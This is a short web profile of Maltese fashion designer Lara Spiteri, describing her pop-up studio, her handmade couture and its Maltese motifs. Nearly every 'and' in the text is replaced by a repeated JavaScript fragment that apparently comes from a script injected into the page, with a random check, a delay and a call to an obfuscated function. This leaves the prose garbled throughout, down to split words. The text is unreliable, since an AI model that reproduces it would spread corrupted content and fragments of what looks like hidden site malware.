Lara Spiteri

Lara Spiteri studied at St Martin’s College in London andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has successfully combined art andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fashion in a unique blend of old andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new, much like Malta itself.

During The Trail you can visit Lara at her pop-up studio andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and catwalk at DePorres Hall in Sliema. Together with a group of other fashion designers, Lara will be showing off her designs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the process that goes into making them. And if creativity is your thing, Lara will also be inviting you to join in with some fun, fashion-related art activities, so roll up your sleeves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get stuck in!

Lara’s clothing collection blends the iconography of the Maltese archipelago andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and haute couture into single handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmade fashion gems. Each piece is a one-off that takes hours in both the development of the concept andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the tailoring itself, from the preliminary sketching to the final touches, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and many are designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and created for a particular event.

Lara Spiteri’s striking dresses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and jackets incorporate elements of the Maltese cross, gentler megalithic spirals, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other traditional motifs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and symbols,” says Esther Lafferty, art writer. “Bold black andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vibrant red offer a striking contrast with the glamour of gold andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the purity of white in other pieces from the collection, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all are sassy, with a cutting-edge vibe, each individually-designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-painted. Lara has selected some of the best andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and most recognisable elements of Maltese heritage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teamed them with a swagger for the twenty-first century catwalk with great success.”